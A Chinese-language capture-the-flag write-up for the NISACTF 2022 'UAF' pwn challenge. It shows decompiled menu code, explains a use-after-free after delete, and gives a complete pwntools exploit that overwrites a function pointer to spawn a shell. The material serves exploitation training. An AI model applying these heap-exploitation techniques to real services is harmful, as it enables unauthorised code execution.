NSSCTF/PWN - [NISACTF 2022]UAF writeup

看上去是一个经典的菜单题,根据题目名称可以推测是UAF漏洞,于是开始分析程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3[4]; // [esp+8h] [ebp-10h] BYREF

v3[1] = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
while ( 1 )
{
while ( 1 )
{
puts("1.create");
puts("2.edit");
puts("3.delete");
puts("4.show");
putchar(':');
__isoc99_scanf("%d", v3);
if ( v3[0] != 2 )
break;
edit();
}
if ( v3[0] > 2 )
{
if ( v3[0] == 3 )
{
del();
}
else if ( v3[0] == 4 )
{
show();
}
else
{
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3[0] != 1 )
goto LABEL_13;
create();
}
}
}

浏览一遍4个操作,第一直觉认为重点在于show函数存在自定义的函数指针可以利用,并且delete函数中为将堆指针置为NULL:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned int show()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &v1);
if ( v1 )
{
if ( v1 <= 0 || v1 > i )
puts("NO PAGE");
else
echo((&page)[v1]);
}
else
{
(*((void (__cdecl **)(char *))page + 1))(page);
}
return __readgsdword(0x14u) ^ v2;
}

由于edit不允许修改page[0]的chunk。那么,最开始的想法是修改page[1…]对应的chunk指针,使malloc分配出page。然后便可以修改page中伪造函数指针和sh参数,实现get shell,见exp的exp2函数。

在本地上确实打通了:

但是在远程服务器出现了malloc corrupt错误。由于无法调试,需要我们尝试换一下思路。

依然还是依靠UAF漏洞。由于delete函数允许对page[0]处的chunk进行free,我们将其释放后,在page[1…]处将其申请出来,那么就可以依靠edit修改page[0]的内容了。

下面是exp的代码,exp1为远程可利用的方法,exp2为本地可利用的方法。虽没有成功,仅当参考。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *

context.log_level = 'debug'

# p = remote('node4.anna.nssctf.cn', 28739)
p = process('./pwn')

def _create(p: process):
p.recvuntil(b'4.show\n:')
p.sendline(b'1')

def _edit(p: process, i: int, s: bytes):
p.recvuntil(b'4.show\n:')
p.sendline(b'2')
p.recvuntil(b"Input page\n")
p.sendline(str(i).encode())
p.recvuntil((b"Input your strings\n"))
p.send(s)

def _delete(p: process, i: int):
p.recvuntil(b'4.show\n:')
p.sendline(b'3')
p.sendline(str(i).encode())

def _show(p: process, i: int):
p.recvuntil(b'4.show\n:')
p.sendline(b'4')
p.sendline(str(i).encode())
s = p.recvline()
return s

# gdb.attach(p)

PAGE = 0x0804A060
NICO = 0x08048642

def exp1(p):
_create(p)
_delete(p, 0)
_create(p)
_edit(p, 1, b"sh\x00\x00" + p32(NICO) + b"\n")
_show(p, 0)

def exp2(p):
_create(p)
_create(p)
_create(p)

# chunk2 -> chunk1
_delete(p, 1)
_delete(p, 2)
_show(p, 2)

# chunk2 -> chunk(PAGE - 0x8)
_edit(p, 2, p32(PAGE) + b"\n")
_create(p)
# alloc PAGE
_create(p)
# edit PAGE
_edit(p, 4, p32(PAGE + 8) + p32(0xaabbccdd) + b"sh\x00\x00" + p32(NICO) + b"/bin/sh\x00\n")
_show(p, 0)


exp2(p)
p.interactive()